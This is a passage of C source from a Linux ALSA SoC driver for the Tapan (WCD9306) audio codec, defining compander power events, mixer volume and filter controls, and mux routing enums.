} else if (comp == COMPANDER_1) { /* HPH compander */
enable_mask = 0x03;
} else if (comp == COMPANDER_2) { /* LO compander */
if (rdac5_mux == 0) { /* DEM4 */
/* for LO Stereo SE, enable Compander 2 left
* channel on RX3 interpolator Path and Compander 2
* rigt channel on RX4 interpolator Path.
*/
enable_mask = 0x03;
} else if (rdac5_mux == 1) { /* DEM3_INV */
/* for LO mono differential only enable Compander 2
* left channel on RX3 interpolator Path.
*/
enable_mask = 0x02;
} else {
dev_err(codec->dev, "%s: invalid rdac5_mux val %d",
__func__, rdac5_mux);
return -EINVAL;
}
} else {
dev_err(codec->dev, "%s: invalid compander %d", __func__, comp);
return -EINVAL;
}
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
/* Set compander Sample rate */
snd_soc_update_bits(codec,
TAPAN_A_CDC_COMP0_FS_CFG + (comp * 8),
0x07, rate);
/* Set the static gain offset for HPH Path */
if (comp == COMPANDER_1) {
if (buck_mv == WCD9XXX_CDC_BUCK_MV_2P15)
snd_soc_update_bits(codec,
TAPAN_A_CDC_COMP0_B4_CTL + (comp * 8),
0x80, 0x00);
else
snd_soc_update_bits(codec,
TAPAN_A_CDC_COMP0_B4_CTL + (comp * 8),
0x80, 0x80);
}
/* Enable RX interpolation path compander clocks */
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_RX_B2_CTL,
0x01 << comp_shift[comp],
0x01 << comp_shift[comp]);
/* Toggle compander reset bits */
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_OTHR_RESET_B2_CTL,
0x01 << comp_shift[comp],
0x01 << comp_shift[comp]);
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_OTHR_RESET_B2_CTL,
0x01 << comp_shift[comp], 0);
/* Set gain source to compander */
tapan_config_gain_compander(codec, comp, true);
/* Compander enable */
snd_soc_update_bits(codec, TAPAN_A_CDC_COMP0_B1_CTL +
(comp * 8), enable_mask, enable_mask);
tapan_discharge_comp(codec, comp);
/* Set sample rate dependent paramater */
snd_soc_write(codec, TAPAN_A_CDC_COMP0_B3_CTL + (comp * 8),
comp_params->rms_meter_resamp_fact);
snd_soc_update_bits(codec,
TAPAN_A_CDC_COMP0_B2_CTL + (comp * 8),
0xF0, comp_params->rms_meter_div_fact << 4);
snd_soc_update_bits(codec,
TAPAN_A_CDC_COMP0_B2_CTL + (comp * 8),
0x0F, comp_params->peak_det_timeout);
break;
case SND_SOC_DAPM_PRE_PMD:
/* Disable compander */
snd_soc_update_bits(codec,
TAPAN_A_CDC_COMP0_B1_CTL + (comp * 8),
enable_mask, 0x00);
/* Toggle compander reset bits */
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_OTHR_RESET_B2_CTL,
mask << comp_shift[comp],
mask << comp_shift[comp]);
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_OTHR_RESET_B2_CTL,
mask << comp_shift[comp], 0);
/* Turn off the clock for compander in pair */
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_RX_B2_CTL,
mask << comp_shift[comp], 0);
/* Set gain source to register */
tapan_config_gain_compander(codec, comp, false);
break;
}
return 0;
}
static const char * const tapan_loopback_mode_ctrl_text[] = {
"DISABLE", "ENABLE"};
static const struct soc_enum tapan_loopback_mode_ctl_enum[] = {
SOC_ENUM_SINGLE_EXT(2, tapan_loopback_mode_ctrl_text),
};
static const char * const tapan_ear_pa_gain_text[] = {"POS_6_DB", "POS_4P5_DB",
"POS_3_DB", "POS_1P5_DB",
"POS_0_DB", "NEG_2P5_DB",
"NEG_12_DB"};
static const struct soc_enum tapan_ear_pa_gain_enum[] = {
SOC_ENUM_SINGLE_EXT(ARRAY_SIZE(tapan_ear_pa_gain_text),
tapan_ear_pa_gain_text),
};
static const char *const tapan_anc_func_text[] = {"OFF", "ON"};
static const struct soc_enum tapan_anc_func_enum =
SOC_ENUM_SINGLE_EXT(2, tapan_anc_func_text);
/*cut of frequency for high pass filter*/
static const char * const cf_text[] = {
"MIN_3DB_4Hz", "MIN_3DB_75Hz", "MIN_3DB_150Hz"
};
static const struct soc_enum cf_dec1_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_TX1_MUX_CTL, 4, 3, cf_text);
static const struct soc_enum cf_dec2_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_TX2_MUX_CTL, 4, 3, cf_text);
static const struct soc_enum cf_dec3_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_TX3_MUX_CTL, 4, 3, cf_text);
static const struct soc_enum cf_dec4_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_TX4_MUX_CTL, 4, 3, cf_text);
static const struct soc_enum cf_rxmix1_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_RX1_B4_CTL, 0, 3, cf_text);
static const struct soc_enum cf_rxmix2_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_RX2_B4_CTL, 0, 3, cf_text);
static const struct soc_enum cf_rxmix3_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_RX3_B4_CTL, 0, 3, cf_text);
static const struct soc_enum cf_rxmix4_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_RX4_B4_CTL, 0, 3, cf_text);
static const char * const class_h_dsm_text[] = {
"ZERO", "RX_HPHL", "RX_SPKR"
};
static const struct soc_enum class_h_dsm_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_CLSH_CTL, 2, 3, class_h_dsm_text);
static const struct snd_kcontrol_new class_h_dsm_mux =
SOC_DAPM_ENUM("CLASS_H_DSM MUX Mux", class_h_dsm_enum);
static const char * const rx1_interpolator_text[] = {
"ZERO", "RX1 MIX2"
};
static const struct soc_enum rx1_interpolator_enum =
SOC_ENUM_SINGLE(0, 0, 2, rx1_interpolator_text);
static const struct snd_kcontrol_new rx1_interpolator =
SOC_DAPM_ENUM_VIRT("RX1 INTERPOLATOR Mux", rx1_interpolator_enum);
static const char * const rx2_interpolator_text[] = {
"ZERO", "RX2 MIX2"
};
static const struct soc_enum rx2_interpolator_enum =
SOC_ENUM_SINGLE(0, 1, 2, rx2_interpolator_text);
static const struct snd_kcontrol_new rx2_interpolator =
SOC_DAPM_ENUM_VIRT("RX2 INTERPOLATOR Mux", rx2_interpolator_enum);
static int tapan_hph_impedance_get(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
uint32_t zl, zr;
bool hphr;
struct soc_multi_mixer_control *mc;
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
struct tapan_priv *priv = snd_soc_codec_get_drvdata(codec);
mc = (struct soc_multi_mixer_control *)(kcontrol->private_value);
hphr = mc->shift;
wcd9xxx_mbhc_get_impedance(&priv->mbhc, &zl, &zr);
pr_debug("%s: zl %u, zr %u\n", __func__, zl, zr);
ucontrol->value.integer.value[0] = hphr ? zr : zl;
return 0;
}
static const struct snd_kcontrol_new tapan_common_snd_controls[] = {
SOC_ENUM_EXT("EAR PA Gain", tapan_ear_pa_gain_enum[0],
tapan_pa_gain_get, tapan_pa_gain_put),
SOC_ENUM_EXT("LOOPBACK Mode", tapan_loopback_mode_ctl_enum[0],
tapan_loopback_mode_get, tapan_loopback_mode_put),
SOC_SINGLE_TLV("HPHL Volume", TAPAN_A_RX_HPH_L_GAIN, 0, 20, 1,
line_gain),
SOC_SINGLE_TLV("HPHR Volume", TAPAN_A_RX_HPH_R_GAIN, 0, 20, 1,
line_gain),
SOC_SINGLE_TLV("LINEOUT1 Volume", TAPAN_A_RX_LINE_1_GAIN, 0, 20, 1,
line_gain),
SOC_SINGLE_TLV("LINEOUT2 Volume", TAPAN_A_RX_LINE_2_GAIN, 0, 20, 1,
line_gain),
SOC_SINGLE_TLV("SPK DRV Volume", TAPAN_A_SPKR_DRV_GAIN, 3, 8, 1,
line_gain),
SOC_SINGLE_TLV("ADC1 Volume", TAPAN_A_TX_1_EN, 2, 19, 0, analog_gain),
SOC_SINGLE_TLV("ADC2 Volume", TAPAN_A_TX_2_EN, 2, 19, 0, analog_gain),
SOC_SINGLE_TLV("ADC3 Volume", TAPAN_A_TX_3_EN, 2, 19, 0, analog_gain),
SOC_SINGLE_TLV("ADC4 Volume", TAPAN_A_TX_4_EN, 2, 19, 0, analog_gain),
SOC_SINGLE_S8_TLV("RX1 Digital Volume", TAPAN_A_CDC_RX1_VOL_CTL_B2_CTL,
-84, 40, digital_gain),
SOC_SINGLE_S8_TLV("RX2 Digital Volume", TAPAN_A_CDC_RX2_VOL_CTL_B2_CTL,
-84, 40, digital_gain),
SOC_SINGLE_S8_TLV("RX3 Digital Volume", TAPAN_A_CDC_RX3_VOL_CTL_B2_CTL,
-84, 40, digital_gain),
SOC_SINGLE_S8_TLV("DEC1 Volume", TAPAN_A_CDC_TX1_VOL_CTL_GAIN, -84, 40,
digital_gain),
SOC_SINGLE_S8_TLV("DEC2 Volume", TAPAN_A_CDC_TX2_VOL_CTL_GAIN, -84, 40,
digital_gain),
SOC_SINGLE_S8_TLV("IIR1 INP1 Volume", TAPAN_A_CDC_IIR1_GAIN_B1_CTL, -84,
40, digital_gain),
SOC_SINGLE_S8_TLV("IIR1 INP2 Volume", TAPAN_A_CDC_IIR1_GAIN_B2_CTL, -84,
40, digital_gain),
SOC_SINGLE_S8_TLV("IIR1 INP3 Volume", TAPAN_A_CDC_IIR1_GAIN_B3_CTL, -84,
40, digital_gain),
SOC_SINGLE_S8_TLV("IIR1 INP4 Volume", TAPAN_A_CDC_IIR1_GAIN_B4_CTL, -84,
40, digital_gain),
SOC_SINGLE_S8_TLV("IIR2 INP1 Volume", TAPAN_A_CDC_IIR2_GAIN_B1_CTL, -84,
40, digital_gain),
SOC_SINGLE_S8_TLV("IIR2 INP2 Volume", TAPAN_A_CDC_IIR2_GAIN_B2_CTL, -84,
40, digital_gain),
SOC_SINGLE_S8_TLV("IIR2 INP3 Volume", TAPAN_A_CDC_IIR2_GAIN_B3_CTL, -84,
40, digital_gain),
SOC_SINGLE_S8_TLV("IIR2 INP4 Volume", TAPAN_A_CDC_IIR2_GAIN_B4_CTL, -84,
40, digital_gain),
SOC_ENUM("TX1 HPF cut off", cf_dec1_enum),
SOC_ENUM("TX2 HPF cut off", cf_dec2_enum),
SOC_ENUM("TX3 HPF cut off", cf_dec3_enum),
SOC_ENUM("TX4 HPF cut off", cf_dec4_enum),
SOC_SINGLE("TX1 HPF Switch", TAPAN_A_CDC_TX1_MUX_CTL, 3, 1, 0),
SOC_SINGLE("TX2 HPF Switch", TAPAN_A_CDC_TX2_MUX_CTL, 3, 1, 0),
SOC_SINGLE("TX3 HPF Switch", TAPAN_A_CDC_TX3_MUX_CTL, 3, 1, 0),
SOC_SINGLE("TX4 HPF Switch", TAPAN_A_CDC_TX4_MUX_CTL, 3, 1, 0),
SOC_SINGLE("RX1 HPF Switch", TAPAN_A_CDC_RX1_B5_CTL, 2, 1, 0),
SOC_SINGLE("RX2 HPF Switch", TAPAN_A_CDC_RX2_B5_CTL, 2, 1, 0),
SOC_SINGLE("RX3 HPF Switch", TAPAN_A_CDC_RX3_B5_CTL, 2, 1, 0),
SOC_ENUM("RX1 HPF cut off", cf_rxmix1_enum),
SOC_ENUM("RX2 HPF cut off", cf_rxmix2_enum),
SOC_ENUM("RX3 HPF cut off", cf_rxmix3_enum),
SOC_SINGLE_EXT("IIR1 Enable Band1", IIR1, BAND1, 1, 0,
tapan_get_iir_enable_audio_mixer, tapan_put_iir_enable_audio_mixer),
SOC_SINGLE_EXT("IIR1 Enable Band2", IIR1, BAND2, 1, 0,
tapan_get_iir_enable_audio_mixer, tapan_put_iir_enable_audio_mixer),
SOC_SINGLE_EXT("IIR1 Enable Band3", IIR1, BAND3, 1, 0,
tapan_get_iir_enable_audio_mixer, tapan_put_iir_enable_audio_mixer),
SOC_SINGLE_EXT("IIR1 Enable Band4", IIR1, BAND4, 1, 0,
tapan_get_iir_enable_audio_mixer, tapan_put_iir_enable_audio_mixer),
SOC_SINGLE_EXT("IIR1 Enable Band5", IIR1, BAND5, 1, 0,
tapan_get_iir_enable_audio_mixer, tapan_put_iir_enable_audio_mixer),
SOC_SINGLE_EXT("IIR2 Enable Band1", IIR2, BAND1, 1, 0,
tapan_get_iir_enable_audio_mixer, tapan_put_iir_enable_audio_mixer),
SOC_SINGLE_EXT("IIR2 Enable Band2", IIR2, BAND2, 1, 0,
tapan_get_iir_enable_audio_mixer, tapan_put_iir_enable_audio_mixer),
SOC_SINGLE_EXT("IIR2 Enable Band3", IIR2, BAND3, 1, 0,
tapan_get_iir_enable_audio_mixer, tapan_put_iir_enable_audio_mixer),
SOC_SINGLE_EXT("IIR2 Enable Band4", IIR2, BAND4, 1, 0,
tapan_get_iir_enable_audio_mixer, tapan_put_iir_enable_audio_mixer),
SOC_SINGLE_EXT("IIR2 Enable Band5", IIR2, BAND5, 1, 0,
tapan_get_iir_enable_audio_mixer, tapan_put_iir_enable_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR1 Band1", IIR1, BAND1, 255, 0, 5,
tapan_get_iir_band_audio_mixer, tapan_put_iir_band_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR1 Band2", IIR1, BAND2, 255, 0, 5,
tapan_get_iir_band_audio_mixer, tapan_put_iir_band_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR1 Band3", IIR1, BAND3, 255, 0, 5,
tapan_get_iir_band_audio_mixer, tapan_put_iir_band_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR1 Band4", IIR1, BAND4, 255, 0, 5,
tapan_get_iir_band_audio_mixer, tapan_put_iir_band_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR1 Band5", IIR1, BAND5, 255, 0, 5,
tapan_get_iir_band_audio_mixer, tapan_put_iir_band_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR2 Band1", IIR2, BAND1, 255, 0, 5,
tapan_get_iir_band_audio_mixer, tapan_put_iir_band_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR2 Band2", IIR2, BAND2, 255, 0, 5,
tapan_get_iir_band_audio_mixer, tapan_put_iir_band_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR2 Band3", IIR2, BAND3, 255, 0, 5,
tapan_get_iir_band_audio_mixer, tapan_put_iir_band_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR2 Band4", IIR2, BAND4, 255, 0, 5,
tapan_get_iir_band_audio_mixer, tapan_put_iir_band_audio_mixer),
SOC_SINGLE_MULTI_EXT("IIR2 Band5", IIR2, BAND5, 255, 0, 5,
tapan_get_iir_band_audio_mixer, tapan_put_iir_band_audio_mixer),
SOC_SINGLE_EXT("HPHL Impedance", 0, 0, UINT_MAX, 0,
tapan_hph_impedance_get, NULL),
SOC_SINGLE_EXT("HPHR Impedance", 0, 1, UINT_MAX, 0,
tapan_hph_impedance_get, NULL),
};
static const struct snd_kcontrol_new tapan_9306_snd_controls[] = {
SOC_SINGLE_TLV("ADC5 Volume", TAPAN_A_TX_5_EN, 2, 19, 0, analog_gain),
SOC_SINGLE_S8_TLV("RX4 Digital Volume", TAPAN_A_CDC_RX4_VOL_CTL_B2_CTL,
-84, 40, digital_gain),
SOC_SINGLE_S8_TLV("DEC3 Volume", TAPAN_A_CDC_TX3_VOL_CTL_GAIN, -84, 40,
digital_gain),
SOC_SINGLE_S8_TLV("DEC4 Volume", TAPAN_A_CDC_TX4_VOL_CTL_GAIN, -84, 40,
digital_gain),
SOC_SINGLE_EXT("ANC Slot", SND_SOC_NOPM, 0, 100, 0, tapan_get_anc_slot,
tapan_put_anc_slot),
SOC_ENUM_EXT("ANC Function", tapan_anc_func_enum, tapan_get_anc_func,
tapan_put_anc_func),
SOC_SINGLE("RX4 HPF Switch", TAPAN_A_CDC_RX4_B5_CTL, 2, 1, 0),
SOC_ENUM("RX4 HPF cut off", cf_rxmix4_enum),
SOC_SINGLE_EXT("COMP0 Switch", SND_SOC_NOPM, COMPANDER_0, 1, 0,
tapan_get_compander, tapan_set_compander),
SOC_SINGLE_EXT("COMP1 Switch", SND_SOC_NOPM, COMPANDER_1, 1, 0,
tapan_get_compander, tapan_set_compander),
SOC_SINGLE_EXT("COMP2 Switch", SND_SOC_NOPM, COMPANDER_2, 1, 0,
tapan_get_compander, tapan_set_compander),
};
static const char * const rx_1_2_mix1_text[] = {
"ZERO", "SRC1", "SRC2", "IIR1", "IIR2", "RX1", "RX2", "RX3", "RX4",
"RX5", "AUXRX", "AUXTX1"
};
static const char * const rx_3_4_mix1_text[] = {
"ZERO", "SRC1", "SRC2", "IIR1", "IIR2", "RX1", "RX2", "RX3", "RX4",
"RX5", "AUXRX", "AUXTX1", "AUXTX2"
};
static const char * const rx_mix2_text[] = {
"ZERO", "SRC1", "SRC2", "IIR1", "IIR2"
};
static const char * const rx_rdac3_text[] = {
"DEM1", "DEM2"
};
static const char * const rx_rdac4_text[] = {
"DEM3", "DEM2"
};
static const char * const rx_rdac5_text[] = {
"DEM4", "DEM3_INV"
};
static const char * const sb_tx_1_2_mux_text[] = {
"ZERO", "RMIX1", "RMIX2", "RMIX3", "RMIX4",
"RSVD", "RSVD", "RSVD",
"DEC1", "DEC2", "DEC3", "DEC4"
};
static const char * const sb_tx3_mux_text[] = {
"ZERO", "RMIX1", "RMIX2", "RMIX3", "RMIX4",
"RSVD", "RSVD", "RSVD", "RSVD", "RSVD",
"DEC3"
};
static const char * const sb_tx4_mux_text[] = {
"ZERO", "RMIX1", "RMIX2", "RMIX3", "RMIX4",
"RSVD", "RSVD", "RSVD", "RSVD", "RSVD", "RSVD",
"DEC4"
};
static const char * const sb_tx5_mux_text[] = {
"ZERO", "RMIX1", "RMIX2", "RMIX3", "RMIX4",
"RSVD", "RSVD", "RSVD",
"DEC1"
};
static const char * const dec_1_2_mux_text[] = {
"ZERO", "ADC1", "ADC2", "ADC3", "ADC4", "ADCMB",
"DMIC1", "DMIC2", "DMIC3", "DMIC4"
};
static const char * const dec3_mux_text[] = {
"ZERO", "ADC1", "ADC2", "ADC3", "ADC4", "ADC5", "ADCMB",
"DMIC1", "DMIC2", "DMIC3", "DMIC4",
"ANCFBTUNE1"
};
static const char * const dec4_mux_text[] = {
"ZERO", "ADC1", "ADC2", "ADC3", "ADC4", "ADC5", "ADCMB",
"DMIC1", "DMIC2", "DMIC3", "DMIC4",
"ANCFBTUNE2"
};
static const char * const anc_mux_text[] = {
"ZERO", "ADC1", "ADC2", "ADC3", "ADC4", "ADC5",
"RSVD", "RSVD", "RSVD",
"DMIC1", "DMIC2", "DMIC3", "DMIC4",
"RSVD", "RSVD"
};
static const char * const anc1_fb_mux_text[] = {
"ZERO", "EAR_HPH_L", "EAR_LINE_1",
};
static const char * const iir_inp_text[] = {
"ZERO", "DEC1", "DEC2", "DEC3", "DEC4",
"RX1", "RX2", "RX3", "RX4", "RX5"
};
static const struct soc_enum rx_mix1_inp1_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX1_B1_CTL, 0, 12, rx_1_2_mix1_text);
static const struct soc_enum rx_mix1_inp2_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX1_B1_CTL, 4, 12, rx_1_2_mix1_text);
static const struct soc_enum rx_mix1_inp3_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX1_B2_CTL, 0, 12, rx_1_2_mix1_text);
static const struct soc_enum rx2_mix1_inp1_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX2_B1_CTL, 0, 12, rx_1_2_mix1_text);
static const struct soc_enum rx2_mix1_inp2_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX2_B1_CTL, 4, 12, rx_1_2_mix1_text);
static const struct soc_enum rx3_mix1_inp1_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX3_B1_CTL, 0, 13, rx_3_4_mix1_text);
static const struct soc_enum rx3_mix1_inp2_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX3_B1_CTL, 4, 13, rx_3_4_mix1_text);
static const struct soc_enum rx3_mix1_inp3_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX3_B2_CTL, 0, 13, rx_3_4_mix1_text);
static const struct soc_enum rx4_mix1_inp1_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX4_B1_CTL, 0, 13, rx_3_4_mix1_text);
static const struct soc_enum rx4_mix1_inp2_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX4_B1_CTL, 4, 13, rx_3_4_mix1_text);
static const struct soc_enum rx4_mix1_inp3_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX4_B2_CTL, 0, 13, rx_3_4_mix1_text);
static const struct soc_enum rx1_mix2_inp1_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX1_B3_CTL, 0, 5, rx_mix2_text);
static const struct soc_enum rx1_mix2_inp2_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX1_B3_CTL, 3, 5, rx_mix2_text);
static const struct soc_enum rx2_mix2_inp1_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX2_B3_CTL, 0, 5, rx_mix2_text);
static const struct soc_enum rx2_mix2_inp2_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX2_B3_CTL, 3, 5, rx_mix2_text);
static const struct soc_enum rx4_mix2_inp1_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX4_B3_CTL, 0, 5, rx_mix2_text);
static const struct soc_enum rx4_mix2_inp2_chain_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX4_B3_CTL, 3, 5, rx_mix2_text);
static const struct soc_enum rx_rdac3_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_RX2_B2_CTL, 4, 2, rx_rdac3_text);
static const struct soc_enum rx_rdac4_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_MISC, 1, 2, rx_rdac4_text);
static const struct soc_enum rx_rdac5_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_MISC, 2, 2, rx_rdac5_text);
static const struct soc_enum sb_tx1_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_TX_SB_B1_CTL, 0, 12,
sb_tx_1_2_mux_text);
static const struct soc_enum sb_tx2_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_TX_SB_B2_CTL, 0, 12,
sb_tx_1_2_mux_text);
static const struct soc_enum sb_tx3_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_TX_SB_B3_CTL, 0, 11, sb_tx3_mux_text);
static const struct soc_enum sb_tx4_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_TX_SB_B4_CTL, 0, 12, sb_tx4_mux_text);
static const struct soc_enum sb_tx5_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_TX_SB_B5_CTL, 0, 9, sb_tx5_mux_text);
static const struct soc_enum dec1_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_TX_B1_CTL, 0, 10, dec_1_2_mux_text);
static const struct soc_enum dec2_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_TX_B1_CTL, 4, 10, dec_1_2_mux_text);
static const struct soc_enum dec3_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_TX_B2_CTL, 0, 12, dec3_mux_text);
static const struct soc_enum dec4_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_TX_B2_CTL, 4, 12, dec4_mux_text);
static const struct soc_enum anc1_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_ANC_B1_CTL, 0, 15, anc_mux_text);
static const struct soc_enum anc2_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_ANC_B1_CTL, 4, 15, anc_mux_text);
static const struct soc_enum anc1_fb_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_ANC_B2_CTL, 0, 3, anc1_fb_mux_text);
static const struct soc_enum iir1_inp1_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_EQ1_B1_CTL, 0, 10, iir_inp_text);
static const struct soc_enum iir1_inp2_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_EQ1_B2_CTL, 0, 10, iir_inp_text);
static const struct soc_enum iir1_inp3_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_EQ1_B3_CTL, 0, 10, iir_inp_text);
static const struct soc_enum iir1_inp4_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_EQ1_B4_CTL, 0, 10, iir_inp_text);
static const struct soc_enum iir2_inp1_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_EQ2_B1_CTL, 0, 10, iir_inp_text);
static const struct soc_enum iir2_inp2_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_EQ2_B2_CTL, 0, 10, iir_inp_text);
static const struct soc_enum iir2_inp3_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_EQ2_B3_CTL, 0, 10, iir_inp_text);
static const struct soc_enum iir2_inp4_mux_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_EQ2_B4_CTL, 0, 10, iir_inp_text);
static const struct snd_kcontrol_new rx_mix1_inp1_mux =
SOC_DAPM_ENUM("RX1 MIX1 INP1 Mux", rx_mix1_inp1_chain_enum);
static const struct snd_kcontrol_new rx_mix1_inp2_mux =
SOC_DAPM_ENUM("RX1 MIX1 INP2 Mux", rx_mix1_inp2_chain_enum);
static const struct snd_kcontrol_new rx_mix1_inp3_mux =
SOC_DAPM_ENUM("RX1 MIX1 INP3 Mux", rx_mix1_inp3_chain_enum);
static const struct snd_kcontrol_new rx2_mix1_inp1_mux =
SOC_DAPM_ENUM("RX2 MIX1 INP1 Mux", rx2_mix1_inp1_chain_enum);
static const struct snd_kcontrol_new rx2_mix1_inp2_mux =
SOC_DAPM_ENUM("RX2 MIX1 INP2 Mux", rx2_mix1_inp2_chain_enum);
static const struct snd_kcontrol_new rx3_mix1_inp1_mux =
SOC_DAPM_ENUM("RX3 MIX1 INP1 Mux", rx3_mix1_inp1_chain_enum);
static const struct snd_kcontrol_new rx3_mix1_inp2_mux =
SOC_DAPM_ENUM("RX3 MIX1 INP2 Mux", rx3_mix1_inp2_chain_enum);
static const struct snd_kcontrol_new rx3_mix1_inp3_mux =
SOC_DAPM_ENUM("RX3 MIX1 INP3 Mux", rx3_mix1_inp3_chain_enum);
static const struct snd_kcontrol_new rx4_mix1_inp1_mux =
SOC_DAPM_ENUM("RX4 MIX1 INP1 Mux", rx4_mix1_inp1_chain_enum);
static const struct snd_kcontrol_new rx4_mix1_inp2_mux =
SOC_DAPM_ENUM("RX4 MIX1 INP2 Mux", rx4_mix1_inp2_chain_enum);
static const struct snd_kcontrol_new rx4_mix1_inp3_mux =
SOC_DAPM_ENUM("RX4 MIX1 INP3 Mux", rx4_mix1_inp3_chain_enum);
static const struct snd_kcontrol_new rx1_mix2_inp1_mux =
SOC_DAPM_ENUM("RX1 MIX2 INP1 Mux", rx1_mix2_inp1_chain_enum);
static const struct snd_kcontrol_new rx1_mix2_inp2_mux =
SOC_DAPM_ENUM("RX1 MIX2 INP2 Mux", rx1_mix2_inp2_chain_enum);
static const struct snd_kcontrol_new rx2_mix2_inp1_mux =
SOC_DAPM_ENUM("RX2 MIX2 INP1 Mux", rx2_mix2_inp1_chain_enum);
static const struct snd_kcontrol_new rx2_mix2_inp2_mux =
SOC_DAPM_ENUM("RX2 MIX2 INP2 Mux", rx2_mix2_inp2_chain_enum);
static const struct snd_kcontrol_new rx4_mix2_inp1_mux =
SOC_DAPM_ENUM("RX4 MIX2 INP1 Mux", rx4_mix2_inp1_chain_enum);
static const struct snd_kcontrol_new rx4_mix2_inp2_mux =
SOC_DAPM_ENUM("RX4 MIX2 INP2 Mux", rx4_mix2_inp2_chain_enum);
static const struct snd_kcontrol_new rx_dac3_mux =
SOC_DAPM_ENUM("RDAC3 MUX Mux", rx_rdac3_enum);
static const struct snd_kcontrol_new rx_dac4_mux =
SOC_DAPM_ENUM("RDAC4 MUX Mux", rx_rdac4_enum);
static const struct snd_kcontrol_new rx_dac5_mux =
SOC_DAPM_ENUM("RDAC5 MUX Mux", rx_rdac5_enum);
static const struct snd_kcontrol_new sb_tx1_mux =
SOC_DAPM_ENUM("SLIM TX1 MUX Mux", sb_tx1_mux_enum);
static const struct snd_kcontrol_new sb_tx2_mux =
SOC_DAPM_ENUM("SLIM TX2 MUX Mux", sb_tx2_mux_enum);
static const struct snd_kcontrol_new sb_tx3_mux =
SOC_DAPM_ENUM("SLIM TX3 MUX Mux", sb_tx3_mux_enum);
static const struct snd_kcontrol_new sb_tx4_mux =
SOC_DAPM_ENUM("SLIM TX4 MUX Mux", sb_tx4_mux_enum);
static const struct snd_kcontrol_new sb_tx5_mux =
SOC_DAPM_ENUM("SLIM TX5 MUX Mux", sb_tx5_mux_enum);
static int wcd9306_put_dec_enum(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_dapm_widget_list *wlist = snd_kcontrol_chip(kcontrol);
struct snd_soc_dapm_widget *w = wlist->widgets[0];
struct snd_soc_codec *codec = w->codec;
struct soc_enum *e = (struct soc_enum *)kcontrol->private_value;
unsigned int dec_mux, decimator;
char *dec_name = NULL;
char *widget_name = NULL;
char *temp;
u16 tx_mux_ctl_reg;
